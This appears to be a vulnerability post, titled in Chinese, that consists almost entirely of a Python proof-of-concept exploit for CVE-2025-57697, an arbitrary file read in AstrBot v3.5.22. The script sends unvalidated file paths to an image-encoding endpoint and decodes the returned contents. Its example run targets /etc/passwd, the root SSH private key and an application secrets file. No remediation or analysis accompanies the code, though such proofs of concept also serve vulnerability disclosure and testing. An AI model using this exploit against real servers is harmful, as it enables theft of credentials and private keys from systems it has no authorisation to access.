CVE-2025-57697 AstrBot Project任意文件读取漏洞

import requests import base64 # CVE-2025-57697 PoC - Arbitrary File Read in AstrBot Project v3.5.22 # Target: AstrBot Project with vulnerable _encode_image_bs64 function def exploit_file_read(target_url, file_path): """ Exploit the arbitrary file read vulnerability Args: target_url: Base URL of the vulnerable AstrBot instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Base64 encoded file content """ # Construct the vulnerable endpoint endpoint = f"{target_url}/api/encode_image" # Prepare the malicious payload with arbitrary file path payload = { "image_path": file_path # No validation, can be any file path } try: # Send the malicious request response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: # Decode the base64 response to get file content encoded_data = response.json().get("image_data") if encoded_data: file_content = base64.b64decode(encoded_data) return file_content.decode('utf-8', errors='ignore') else: return f"Request failed with status: {response.status_code}" except Exception as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": target = "http://target-astronbot-server.com" # Read sensitive files files_to_read = [ "/etc/passwd", "/root/.ssh/id_rsa", "/app/config/secrets.yaml" ] for file_path in files_to_read: print(f"[*] Reading: {file_path}") content = exploit_file_read(target, file_path) print(content) print("-" * 50)